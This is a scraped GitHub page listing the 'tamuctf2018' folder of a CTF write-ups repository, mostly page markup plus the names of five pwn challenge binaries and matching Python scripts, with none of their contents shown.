<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/coldBug/ctfwriteups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":96701284,"originating_url":"https://github.com/coldBug/ctfwriteups/tree/master/tamuctf2018","user_id":null}}" data-hydro-click-hmac="cce9bfebc341b8dc2526030628c4005a89be70631324ac632c399263cdf48832"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/coldBug/ctfwriteups/refs" cache-key="v0:1499622809.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Y29sZEJ1Zy9jdGZ3cml0ZXVwcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/coldBug/ctfwriteups/refs" cache-key="v0:1499622809.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Y29sZEJ1Zy9jdGZ3cml0ZXVwcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctfwriteups</span></span></span><span>/</span>tamuctf2018<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctfwriteups</span></span></span><span>/</span>tamuctf2018<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/coldBug/ctfwriteups/tree-commit/247ba0b1dc991968d132a50dc07e9c3ee328d5fb/tamuctf2018" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/coldBug/ctfwriteups/file-list/master/tamuctf2018"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn1</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn1.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn2</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn2.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn3</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn3.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn4</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn4.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn5</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn5.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
